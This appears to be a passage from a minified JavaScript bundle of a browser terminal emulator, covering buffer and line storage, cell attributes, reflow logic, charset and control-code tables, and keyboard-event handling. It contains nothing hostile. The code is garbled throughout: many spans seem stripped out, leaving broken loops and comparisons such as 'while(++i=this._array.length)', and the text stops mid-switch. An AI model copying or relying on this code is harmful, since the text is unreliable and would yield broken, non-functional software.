0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}},1505:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.FourKeyMap=t.TwoKeyMap=void 0;class i{constructor(){this._data={}}set(e,t,i){this._data[e]||(this._data[e]={}),this._data[e][t]=i}get(e,t){return this._data[e]?this._data[e][t]:void 0}clear(){this._data={}}}t.TwoKeyMap=i,t.FourKeyMap=class{constructor(){this._data=new i}set(e,t,s,r,n){this._data.get(e,t)||this._data.set(e,t,new i),this._data.get(e,t).set(s,r,n)}get(e,t,i,s){var r;return null===(r=this._data.get(e,t))||void 0===r?void 0:r.get(i,s)}clear(){this._data.clear()}}},6114:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.isChromeOS=t.isLinux=t.isWindows=t.isIphone=t.isIpad=t.isMac=t.getSafariVersion=t.isSafari=t.isLegacyEdge=t.isFirefox=t.isNode=void 0,t.isNode="undefined"==typeof navigator;const i=t.isNode?"node":navigator.userAgent,s=t.isNode?"node":navigator.platform;t.isFirefox=i.includes("Firefox"),t.isLegacyEdge=i.includes("Edge"),t.isSafari=/^((?!chrome|android).)*safari/i.test(i),t.getSafariVersion=function(){if(!t.isSafari)return 0;const e=i.match(/Version\/(\d+)/);return null===e||e.length<2?0:parseInt(e[1])},t.isMac=["Macintosh","MacIntel","MacPPC","Mac68K"].includes(s),t.isIpad="iPad"===s,t.isIphone="iPhone"===s,t.isWindows=["Windows","Win16","Win32","WinCE"].includes(s),t.isLinux=s.indexOf("Linux")>=0,t.isChromeOS=/\bCrOS\b/.test(i)},6106:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SortedList=void 0;let i=0;t.SortedList=class{constructor(e){this._getKey=e,this._array=[]}clear(){this._array.length=0}insert(e){0!==this._array.length?(i=this._search(this._getKey(e)),this._array.splice(i,0,e)):this._array.push(e)}delete(e){if(0===this._array.length)return!1;const t=this._getKey(e);if(void 0===t)return!1;if(i=this._search(t),-1===i)return!1;if(this._getKey(this._array[i])!==t)return!1;do{if(this._array[i]===e)return this._array.splice(i,1),!0}while(++i=this._array.length)&&this._getKey(this._array[i])===e))do{yield this._array[i]}while(++i=this._array.length)&&this._getKey(this._array[i])===e))do{t(this._array[i])}while(++i=t;){let s=t+i>>1;const r=this._getKey(this._array[s]);if(r>e)i=s-1;else{if(!(r0&&this._getKey(this._array[s-1])===e;)s--;return s}t=s+1}}return t}}},7226:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DebouncedIdleTask=t.IdleTaskQueue=t.PriorityTaskQueue=void 0;const s=i(6114);class r{constructor(){this._tasks=[],this._i=0}enqueue(e){this._tasks.push(e),this._start()}flush(){for(;this._ir)return s-t<-20&&console.warn(`task queue exceeded allotted deadline by ${Math.abs(Math.round(s-t))}ms`),void this._start();s=r}this.clear()}}class n extends r{_requestCallback(e){return setTimeout((()=>e(this._createDeadline(16))))}_cancelCallback(e){clearTimeout(e)}_createDeadline(e){const t=Date.now()+e;return{timeRemaining:()=>Math.max(0,t-Date.now())}}}t.PriorityTaskQueue=n,t.IdleTaskQueue=!s.isNode&&"requestIdleCallback"in window?class extends r{_requestCallback(e){return requestIdleCallback(e)}_cancelCallback(e){cancelIdleCallback(e)}}:n,t.DebouncedIdleTask=class{constructor(){this._queue=new t.IdleTaskQueue}set(e){this._queue.clear(),this._queue.enqueue(e)}flush(){this._queue.flush()}}},9282:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.updateWindowsModeWrappedState=void 0;const s=i(643);t.updateWindowsModeWrappedState=function(e){const t=e.buffer.lines.get(e.buffer.ybase+e.buffer.y-1),i=null==t?void 0:t.get(e.cols-1),r=e.buffer.lines.get(e.buffer.ybase+e.buffer.y);r&&i&&(r.isWrapped=i[s.CHAR_DATA_CODE_INDEX]!==s.NULL_CELL_CODE&&i[s.CHAR_DATA_CODE_INDEX]!==s.WHITESPACE_CELL_CODE)}},3734:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ExtendedAttrs=t.AttributeData=void 0;class i{constructor(){this.fg=0,this.bg=0,this.extended=new s}static toColorRGB(e){return[e>>>16&255,e>>>8&255,255&e]}static fromColorRGB(e){return(255&e[0])<<16|(255&e[1])<<8|255&e[2]}clone(){const e=new i;return e.fg=this.fg,e.bg=this.bg,e.extended=this.extended.clone(),e}isInverse(){return 67108864&this.fg}isBold(){return 134217728&this.fg}isUnderline(){return this.hasExtendedAttrs()&&0!==this.extended.underlineStyle?1:268435456&this.fg}isBlink(){return 536870912&this.fg}isInvisible(){return 1073741824&this.fg}isItalic(){return 67108864&this.bg}isDim(){return 134217728&this.bg}isStrikethrough(){return 2147483648&this.fg}isProtected(){return 536870912&this.bg}isOverline(){return 1073741824&this.bg}getFgColorMode(){return 50331648&this.fg}getBgColorMode(){return 50331648&this.bg}isFgRGB(){return 50331648==(50331648&this.fg)}isBgRGB(){return 50331648==(50331648&this.bg)}isFgPalette(){return 16777216==(50331648&this.fg)||33554432==(50331648&this.fg)}isBgPalette(){return 16777216==(50331648&this.bg)||33554432==(50331648&this.bg)}isFgDefault(){return 0==(50331648&this.fg)}isBgDefault(){return 0==(50331648&this.bg)}isAttributeDefault(){return 0===this.fg&&0===this.bg}getFgColor(){switch(50331648&this.fg){case 16777216:case 33554432:return 255&this.fg;case 50331648:return 16777215&this.fg;default:return-1}}getBgColor(){switch(50331648&this.bg){case 16777216:case 33554432:return 255&this.bg;case 50331648:return 16777215&this.bg;default:return-1}}hasExtendedAttrs(){return 268435456&this.bg}updateExtended(){this.extended.isEmpty()?this.bg&=-268435457:this.bg|=268435456}getUnderlineColor(){if(268435456&this.bg&&~this.extended.underlineColor)switch(50331648&this.extended.underlineColor){case 16777216:case 33554432:return 255&this.extended.underlineColor;case 50331648:return 16777215&this.extended.underlineColor;default:return this.getFgColor()}return this.getFgColor()}getUnderlineColorMode(){return 268435456&this.bg&&~this.extended.underlineColor?50331648&this.extended.underlineColor:this.getFgColorMode()}isUnderlineColorRGB(){return 268435456&this.bg&&~this.extended.underlineColor?50331648==(50331648&this.extended.underlineColor):this.isFgRGB()}isUnderlineColorPalette(){return 268435456&this.bg&&~this.extended.underlineColor?16777216==(50331648&this.extended.underlineColor)||33554432==(50331648&this.extended.underlineColor):this.isFgPalette()}isUnderlineColorDefault(){return 268435456&this.bg&&~this.extended.underlineColor?0==(50331648&this.extended.underlineColor):this.isFgDefault()}getUnderlineStyle(){return 268435456&this.fg?268435456&this.bg?this.extended.underlineStyle:1:0}}t.AttributeData=i;class s{get ext(){return this._urlId?-469762049&this._ext|this.underlineStyle<<26:this._ext}set ext(e){this._ext=e}get underlineStyle(){return this._urlId?5:(469762048&this._ext)>>26}set underlineStyle(e){this._ext&=-469762049,this._ext|=e<<26&469762048}get underlineColor(){return 67108863&this._ext}set underlineColor(e){this._ext&=-67108864,this._ext|=67108863&e}get urlId(){return this._urlId}set urlId(e){this._urlId=e}constructor(e=0,t=0){this._ext=0,this._urlId=0,this._ext=e,this._urlId=t}clone(){return new s(this._ext,this._urlId)}isEmpty(){return 0===this.underlineStyle&&0===this._urlId}}t.ExtendedAttrs=s},9092:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Buffer=t.MAX_BUFFER_SIZE=void 0;const s=i(6349),r=i(7226),n=i(3734),o=i(8437),a=i(4634),h=i(511),c=i(643),l=i(4863),d=i(7116);t.MAX_BUFFER_SIZE=4294967295,t.Buffer=class{constructor(e,t,i){this._hasScrollback=e,this._optionsService=t,this._bufferService=i,this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.tabs={},this.savedY=0,this.savedX=0,this.savedCurAttrData=o.DEFAULT_ATTR_DATA.clone(),this.savedCharset=d.DEFAULT_CHARSET,this.markers=[],this._nullCell=h.CellData.fromCharData([0,c.NULL_CELL_CHAR,c.NULL_CELL_WIDTH,c.NULL_CELL_CODE]),this._whitespaceCell=h.CellData.fromCharData([0,c.WHITESPACE_CELL_CHAR,c.WHITESPACE_CELL_WIDTH,c.WHITESPACE_CELL_CODE]),this._isClearing=!1,this._memoryCleanupQueue=new r.IdleTaskQueue,this._memoryCleanupPosition=0,this._cols=this._bufferService.cols,this._rows=this._bufferService.rows,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}getNullCell(e){return e?(this._nullCell.fg=e.fg,this._nullCell.bg=e.bg,this._nullCell.extended=e.extended):(this._nullCell.fg=0,this._nullCell.bg=0,this._nullCell.extended=new n.ExtendedAttrs),this._nullCell}getWhitespaceCell(e){return e?(this._whitespaceCell.fg=e.fg,this._whitespaceCell.bg=e.bg,this._whitespaceCell.extended=e.extended):(this._whitespaceCell.fg=0,this._whitespaceCell.bg=0,this._whitespaceCell.extended=new n.ExtendedAttrs),this._whitespaceCell}getBlankLine(e,t){return new o.BufferLine(this._bufferService.cols,this.getNullCell(e),t)}get hasScrollback(){return this._hasScrollback&&this.lines.maxLength>this._rows}get isCursorInViewport(){const e=this.ybase+this.y-this.ydisp;return e>=0&&et.MAX_BUFFER_SIZE?t.MAX_BUFFER_SIZE:i}fillViewportRows(e){if(0===this.lines.length){void 0===e&&(e=o.DEFAULT_ATTR_DATA);let t=this._rows;for(;t--;)this.lines.push(this.getBlankLine(e))}}clear(){this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}resize(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA);let s=0;const r=this._getCorrectBufferLength(t);if(r>this.lines.maxLength&&(this.lines.maxLength=r),this.lines.length>0){if(this._cols0&&this.lines.length<=this.ybase+this.y+n+1?(this.ybase--,n++,this.ydisp>0&&this.ydisp--):this.lines.push(new o.BufferLine(e,i)));else for(let e=this._rows;e>t;e--)this.lines.length>t+this.ybase&&(this.lines.length>this.ybase+this.y+1?this.lines.pop():(this.ybase++,this.ydisp++));if(r0&&(this.lines.trimStart(e),this.ybase=Math.max(this.ybase-e,0),this.ydisp=Math.max(this.ydisp-e,0),this.savedY=Math.max(this.savedY-e,0)),this.lines.maxLength=r}this.x=Math.min(this.x,e-1),this.y=Math.min(this.y,t-1),n&&(this.y+=n),this.savedX=Math.min(this.savedX,e-1),this.scrollTop=0}if(this.scrollBottom=t-1,this._isReflowEnabled&&(this._reflow(e,t),this._cols>e))for(let t=0;t.1*this.lines.length&&(this._memoryCleanupPosition=0,this._memoryCleanupQueue.enqueue((()=>this._batchedMemoryCleanup())))}_batchedMemoryCleanup(){let e=!0;this._memoryCleanupPosition>=this.lines.length&&(this._memoryCleanupPosition=0,e=!1);let t=0;for(;this._memoryCleanupPosition100)return!0;return e}get _isReflowEnabled(){const e=this._optionsService.rawOptions.windowsPty;return e&&e.buildNumber?this._hasScrollback&&"conpty"===e.backend&&e.buildNumber>=21376:this._hasScrollback&&!this._optionsService.rawOptions.windowsMode}_reflow(e,t){this._cols!==e&&(e>this._cols?this._reflowLarger(e,t):this._reflowSmaller(e,t))}_reflowLarger(e,t){const i=(0,a.reflowLargerGetLinesToRemove)(this.lines,this._cols,e,this.ybase+this.y,this.getNullCell(o.DEFAULT_ATTR_DATA));if(i.length>0){const s=(0,a.reflowLargerCreateNewLayout)(this.lines,i);(0,a.reflowLargerApplyNewLayout)(this.lines,s.layout),this._reflowLargerAdjustViewport(e,t,s.countRemoved)}}_reflowLargerAdjustViewport(e,t,i){const s=this.getNullCell(o.DEFAULT_ATTR_DATA);let r=i;for(;r-- >0;)0===this.ybase?(this.y>0&&this.y--,this.lines.length=0;n--){let h=this.lines.get(n);if(!h||!h.isWrapped&&h.getTrimmedLength()<=e)continue;const c=[h];for(;h.isWrapped&&n>0;)h=this.lines.get(--n),c.unshift(h);const l=this.ybase+this.y;if(l>=n&&l0&&(s.push({start:n+c.length+r,newLines:v}),r+=v.length),c.push(...v);let p=_.length-1,g=_[p];0===g&&(p--,g=_[p]);let m=c.length-u-1,S=d;for(;m>=0;){const e=Math.min(S,g);if(void 0===c[p])break;if(c[p].copyCellsFrom(c[m],S-e,g-e,e,!0),g-=e,0===g&&(p--,g=_[p]),S-=e,0===S){m--;const e=Math.max(m,0);S=(0,a.getWrappedLineTrimmedLength)(c,e,this._cols)}}for(let t=0;t0;)0===this.ybase?this.y0){const e=[],t=[];for(let e=0;e=0;c--)if(a&&a.start>n+h){for(let e=a.newLines.length-1;e>=0;e--)this.lines.set(c--,a.newLines[e]);c++,e.push({index:n+1,amount:a.newLines.length}),h+=a.newLines.length,a=s[++o]}else this.lines.set(c,t[n--]);let c=0;for(let t=e.length-1;t>=0;t--)e[t].index+=c,this.lines.onInsertEmitter.fire(e[t]),c+=e[t].amount;const l=Math.max(0,i+r-this.lines.maxLength);l>0&&this.lines.onTrimEmitter.fire(l)}}translateBufferLineToString(e,t,i=0,s){const r=this.lines.get(e);return r?r.translateToString(t,i,s):""}getWrappedRangeForLine(e){let t=e,i=e;for(;t>0&&this.lines.get(t).isWrapped;)t--;for(;i+10;);return e>=this._cols?this._cols-1:e<0?0:e}nextStop(e){for(null==e&&(e=this.x);!this.tabs[++e]&&e=this._cols?this._cols-1:e<0?0:e}clearMarkers(e){this._isClearing=!0;for(let t=0;t{t.line-=e,t.line<0&&t.dispose()}))),t.register(this.lines.onInsert((e=>{t.line>=e.index&&(t.line+=e.amount)}))),t.register(this.lines.onDelete((e=>{t.line>=e.index&&t.linee.index&&(t.line-=e.amount)}))),t.register(t.onDispose((()=>this._removeMarker(t)))),t}_removeMarker(e){this._isClearing||this.markers.splice(this.markers.indexOf(e),1)}}},8437:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLine=t.DEFAULT_ATTR_DATA=void 0;const s=i(3734),r=i(511),n=i(643),o=i(482);t.DEFAULT_ATTR_DATA=Object.freeze(new s.AttributeData);let a=0;class h{constructor(e,t,i=!1){this.isWrapped=i,this._combined={},this._extendedAttrs={},this._data=new Uint32Array(3*e);const s=t||r.CellData.fromCharData([0,n.NULL_CELL_CHAR,n.NULL_CELL_WIDTH,n.NULL_CELL_CODE]);for(let t=0;t>22,2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):i]}set(e,t){this._data[3*e+1]=t[n.CHAR_DATA_ATTR_INDEX],t[n.CHAR_DATA_CHAR_INDEX].length>1?(this._combined[e]=t[1],this._data[3*e+0]=2097152|e|t[n.CHAR_DATA_WIDTH_INDEX]<<22):this._data[3*e+0]=t[n.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|t[n.CHAR_DATA_WIDTH_INDEX]<<22}getWidth(e){return this._data[3*e+0]>>22}hasWidth(e){return 12582912&this._data[3*e+0]}getFg(e){return this._data[3*e+1]}getBg(e){return this._data[3*e+2]}hasContent(e){return 4194303&this._data[3*e+0]}getCodePoint(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):2097151&t}isCombined(e){return 2097152&this._data[3*e+0]}getString(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e]:2097151&t?(0,o.stringFromCodePoint)(2097151&t):""}isProtected(e){return 536870912&this._data[3*e+2]}loadCell(e,t){return a=3*e,t.content=this._data[a+0],t.fg=this._data[a+1],t.bg=this._data[a+2],2097152&t.content&&(t.combinedData=this._combined[e]),268435456&t.bg&&(t.extended=this._extendedAttrs[e]),t}setCell(e,t){2097152&t.content&&(this._combined[e]=t.combinedData),268435456&t.bg&&(this._extendedAttrs[e]=t.extended),this._data[3*e+0]=t.content,this._data[3*e+1]=t.fg,this._data[3*e+2]=t.bg}setCellFromCodePoint(e,t,i,s,r,n){268435456&r&&(this._extendedAttrs[e]=n),this._data[3*e+0]=t|i<<22,this._data[3*e+1]=s,this._data[3*e+2]=r}addCodepointToCell(e,t){let i=this._data[3*e+0];2097152&i?this._combined[e]+=(0,o.stringFromCodePoint)(t):(2097151&i?(this._combined[e]=(0,o.stringFromCodePoint)(2097151&i)+(0,o.stringFromCodePoint)(t),i&=-2097152,i|=2097152):i=t|1<<22,this._data[3*e+0]=i)}insertCells(e,t,i,n){if((e%=this.length)&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),t=0;--i)this.setCell(e+t+i,this.loadCell(e+i,s));for(let s=0;sthis.length){if(this._data.buffer.byteLength>=4*i)this._data=new Uint32Array(this._data.buffer,0,i);else{const e=new Uint32Array(i);e.set(this._data),this._data=e}for(let i=this.length;i=e&&delete this._combined[s]}const s=Object.keys(this._extendedAttrs);for(let t=0;t=e&&delete this._extendedAttrs[i]}}return this.length=e,4*i*2=0;--e)if(4194303&this._data[3*e+0])return e+(this._data[3*e+0]>>22);return 0}getNoBgTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0]||50331648&this._data[3*e+2])return e+(this._data[3*e+0]>>22);return 0}copyCellsFrom(e,t,i,s,r){const n=e._data;if(r)for(let r=s-1;r>=0;r--){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}else for(let r=0;r=t&&(this._combined[r-t+i]=e._combined[r])}}translateToString(e=!1,t=0,i=this.length){e&&(i=Math.min(i,this.getTrimmedLength()));let s="";for(;t>22||1}return s}}t.BufferLine=h},4841:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRangeLength=void 0,t.getRangeLength=function(e,t){if(e.start.y>e.end.y)throw new Error(`Buffer range end (${e.end.x}, ${e.end.y}) cannot be before start (${e.start.x}, ${e.start.y})`);return t*(e.end.y-e.start.y)+(e.end.x-e.start.x+1)}},4634:(e,t)=>{function i(e,t,i){if(t===e.length-1)return e[t].getTrimmedLength();const s=!e[t].hasContent(i-1)&&1===e[t].getWidth(i-1),r=2===e[t+1].getWidth(0);return s&&r?i-1:i}Object.defineProperty(t,"__esModule",{value:!0}),t.getWrappedLineTrimmedLength=t.reflowSmallerGetNewLineLengths=t.reflowLargerApplyNewLayout=t.reflowLargerCreateNewLayout=t.reflowLargerGetLinesToRemove=void 0,t.reflowLargerGetLinesToRemove=function(e,t,s,r,n){const o=[];for(let a=0;a=a&&r0&&(e>d||0===l[e].getTrimmedLength());e--)v++;v>0&&(o.push(a+l.length-v),o.push(v)),a+=l.length-1}return o},t.reflowLargerCreateNewLayout=function(e,t){const i=[];let s=0,r=t[s],n=0;for(let o=0;oi(e,r,t))).reduce(((e,t)=>e+t));let o=0,a=0,h=0;for(;hc&&(o-=c,a++);const l=2===e[a].getWidth(o-1);l&&o--;const d=l?s-1:s;r.push(d),h+=d}return r},t.getWrappedLineTrimmedLength=i},5295:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferSet=void 0;const s=i(8460),r=i(844),n=i(9092);class o extends r.Disposable{constructor(e,t){super(),this._optionsService=e,this._bufferService=t,this._onBufferActivate=this.register(new s.EventEmitter),this.onBufferActivate=this._onBufferActivate.event,this.reset(),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.resize(this._bufferService.cols,this._bufferService.rows)))),this.register(this._optionsService.onSpecificOptionChange("tabStopWidth",(()=>this.setupTabStops())))}reset(){this._normal=new n.Buffer(!0,this._optionsService,this._bufferService),this._normal.fillViewportRows(),this._alt=new n.Buffer(!1,this._optionsService,this._bufferService),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}),this.setupTabStops()}get alt(){return this._alt}get active(){return this._activeBuffer}get normal(){return this._normal}activateNormalBuffer(){this._activeBuffer!==this._normal&&(this._normal.x=this._alt.x,this._normal.y=this._alt.y,this._alt.clearAllMarkers(),this._alt.clear(),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}))}activateAltBuffer(e){this._activeBuffer!==this._alt&&(this._alt.fillViewportRows(e),this._alt.x=this._normal.x,this._alt.y=this._normal.y,this._activeBuffer=this._alt,this._onBufferActivate.fire({activeBuffer:this._alt,inactiveBuffer:this._normal}))}resize(e,t){this._normal.resize(e,t),this._alt.resize(e,t),this.setupTabStops(e)}setupTabStops(e){this._normal.setupTabStops(e),this._alt.setupTabStops(e)}}t.BufferSet=o},511:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CellData=void 0;const s=i(482),r=i(643),n=i(3734);class o extends n.AttributeData{constructor(){super(...arguments),this.content=0,this.fg=0,this.bg=0,this.extended=new n.ExtendedAttrs,this.combinedData=""}static fromCharData(e){const t=new o;return t.setFromCharData(e),t}isCombined(){return 2097152&this.content}getWidth(){return this.content>>22}getChars(){return 2097152&this.content?this.combinedData:2097151&this.content?(0,s.stringFromCodePoint)(2097151&this.content):""}getCode(){return this.isCombined()?this.combinedData.charCodeAt(this.combinedData.length-1):2097151&this.content}setFromCharData(e){this.fg=e[r.CHAR_DATA_ATTR_INDEX],this.bg=0;let t=!1;if(e[r.CHAR_DATA_CHAR_INDEX].length>2)t=!0;else if(2===e[r.CHAR_DATA_CHAR_INDEX].length){const i=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0);if(55296<=i&&i<=56319){const s=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(1);56320<=s&&s<=57343?this.content=1024*(i-55296)+s-56320+65536|e[r.CHAR_DATA_WIDTH_INDEX]<<22:t=!0}else t=!0}else this.content=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|e[r.CHAR_DATA_WIDTH_INDEX]<<22;t&&(this.combinedData=e[r.CHAR_DATA_CHAR_INDEX],this.content=2097152|e[r.CHAR_DATA_WIDTH_INDEX]<<22)}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.CellData=o},643:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WHITESPACE_CELL_CODE=t.WHITESPACE_CELL_WIDTH=t.WHITESPACE_CELL_CHAR=t.NULL_CELL_CODE=t.NULL_CELL_WIDTH=t.NULL_CELL_CHAR=t.CHAR_DATA_CODE_INDEX=t.CHAR_DATA_WIDTH_INDEX=t.CHAR_DATA_CHAR_INDEX=t.CHAR_DATA_ATTR_INDEX=t.DEFAULT_EXT=t.DEFAULT_ATTR=t.DEFAULT_COLOR=void 0,t.DEFAULT_COLOR=0,t.DEFAULT_ATTR=256|t.DEFAULT_COLOR<<9,t.DEFAULT_EXT=0,t.CHAR_DATA_ATTR_INDEX=0,t.CHAR_DATA_CHAR_INDEX=1,t.CHAR_DATA_WIDTH_INDEX=2,t.CHAR_DATA_CODE_INDEX=3,t.NULL_CELL_CHAR="",t.NULL_CELL_WIDTH=1,t.NULL_CELL_CODE=0,t.WHITESPACE_CELL_CHAR=" ",t.WHITESPACE_CELL_WIDTH=1,t.WHITESPACE_CELL_CODE=32},4863:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Marker=void 0;const s=i(8460),r=i(844);class n{get id(){return this._id}constructor(e){this.line=e,this.isDisposed=!1,this._disposables=[],this._id=n._nextId++,this._onDispose=this.register(new s.EventEmitter),this.onDispose=this._onDispose.event}dispose(){this.isDisposed||(this.isDisposed=!0,this.line=-1,this._onDispose.fire(),(0,r.disposeArray)(this._disposables),this._disposables.length=0)}register(e){return this._disposables.push(e),e}}t.Marker=n,n._nextId=1},7116:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DEFAULT_CHARSET=t.CHARSETS=void 0,t.CHARSETS={},t.DEFAULT_CHARSET=t.CHARSETS.B,t.CHARSETS[0]={"`":"◆",a:"▒",b:"␉",c:"␌",d:"␍",e:"␊",f:"°",g:"±",h:"␤",i:"␋",j:"┘",k:"┐",l:"┌",m:"└",n:"┼",o:"⎺",p:"⎻",q:"─",r:"⎼",s:"⎽",t:"├",u:"┤",v:"┴",w:"┬",x:"│",y:"≤",z:"≥","{":"π","|":"≠","}":"£","~":"·"},t.CHARSETS.A={"#":"£"},t.CHARSETS.B=void 0,t.CHARSETS[4]={"#":"£","@":"¾","[":"ij","\\":"½","]":"|","{":"¨","|":"f","}":"¼","~":"´"},t.CHARSETS.C=t.CHARSETS[5]={"[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},t.CHARSETS.R={"#":"£","@":"à","[":"°","\\":"ç","]":"§","{":"é","|":"ù","}":"è","~":"¨"},t.CHARSETS.Q={"@":"à","[":"â","\\":"ç","]":"ê","^":"î","`":"ô","{":"é","|":"ù","}":"è","~":"û"},t.CHARSETS.K={"@":"§","[":"Ä","\\":"Ö","]":"Ü","{":"ä","|":"ö","}":"ü","~":"ß"},t.CHARSETS.Y={"#":"£","@":"§","[":"°","\\":"ç","]":"é","`":"ù","{":"à","|":"ò","}":"è","~":"ì"},t.CHARSETS.E=t.CHARSETS[6]={"@":"Ä","[":"Æ","\\":"Ø","]":"Å","^":"Ü","`":"ä","{":"æ","|":"ø","}":"å","~":"ü"},t.CHARSETS.Z={"#":"£","@":"§","[":"¡","\\":"Ñ","]":"¿","{":"°","|":"ñ","}":"ç"},t.CHARSETS.H=t.CHARSETS[7]={"@":"É","[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},t.CHARSETS["="]={"#":"ù","@":"à","[":"é","\\":"ç","]":"ê","^":"î",_:"è","`":"ô","{":"ä","|":"ö","}":"ü","~":"û"}},2584:(e,t)=>{var i,s,r;Object.defineProperty(t,"__esModule",{value:!0}),t.C1_ESCAPED=t.C1=t.C0=void 0,function(e){e.NUL="\0",e.SOH="",e.STX="",e.ETX="",e.EOT="",e.ENQ="",e.ACK="",e.BEL="",e.BS="\b",e.HT="\t",e.LF="\n",e.VT="\v",e.FF="\f",e.CR="\r",e.SO="",e.SI="",e.DLE="",e.DC1="",e.DC2="",e.DC3="",e.DC4="",e.NAK="",e.SYN="",e.ETB="",e.CAN="",e.EM="",e.SUB="",e.ESC="",e.FS="",e.GS="",e.RS="",e.US="",e.SP=" ",e.DEL=""}(i||(t.C0=i={})),function(e){e.PAD="€",e.HOP="",e.BPH="‚",e.NBH="ƒ",e.IND="„",e.NEL="…",e.SSA="†",e.ESA="‡",e.HTS="ˆ",e.HTJ="‰",e.VTS="Š",e.PLD="‹",e.PLU="Œ",e.RI="",e.SS2="Ž",e.SS3="",e.DCS="",e.PU1="‘",e.PU2="’",e.STS="“",e.CCH="”",e.MW="•",e.SPA="–",e.EPA="—",e.SOS="˜",e.SGCI="™",e.SCI="š",e.CSI="›",e.ST="œ",e.OSC="",e.PM="ž",e.APC="Ÿ"}(s||(t.C1=s={})),function(e){e.ST=`${i.ESC}\\`}(r||(t.C1_ESCAPED=r={}))},7399:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.evaluateKeyboardEvent=void 0;const s=i(2584),r={48:["0",")"],49:["1","!"],50:["2","@"],51:["3","#"],52:["4","$"],53:["5","%"],54:["6","^"],55:["7","&"],56:["8","*"],57:["9","("],186:[";",":"],187:["=","+"],188:[",","<"],189:["-","_"],190:[".",">"],191:["/","?"],192:["`","~"],219:["[","{"],220:["\\","|"],221:["]","}"],222:["'",'"']};t.evaluateKeyboardEvent=function(e,t,i,n){const o={type:0,cancel:!1,key:void 0},a=(e.shiftKey?1:0)|(e.altKey?2:0)|(e.ctrlKey?4:0)|(e.metaKey?8:0);switch(e.keyCode){case 0:"UIKeyInputUpArrow"===e.key?o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A":"UIKeyInputLeftArrow"===e.key?o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D":"UIKeyInputRightArrow"===e.key?o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C":"UIKeyInputDownArrow"===e.key&&(o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B");break;case 8:if(e.altKey){o.key=s.C0.ESC+s.C0.DEL;break}o.key=s.C0.DEL;break;case 9:if(e.shiftKey){o.key=s.C0.ESC+"[Z";break}o.key=s.C0.HT,o.cancel=!0;break;case 13:o.key=e.altKey?s.C0.ESC+s.C0.CR:s.C0.CR,o.cancel=!0;break;case 27:o.key=s.C0.ESC,e.altKey&&(o.key=s.C0.ESC+s.C0.ESC),o.cancel=!0;break;case 37:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"D",o.key===s.C0.ESC+"[1;3D"&&(o.key=s.C0.ESC+(i?"b":"[1;5D"))):o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D";break;case 39:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"C",o.key===s.C0.ESC+"[1;3C"&&(o.key=s.C0.ESC+(i?"f":"[1;5C"))):o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C";break;case 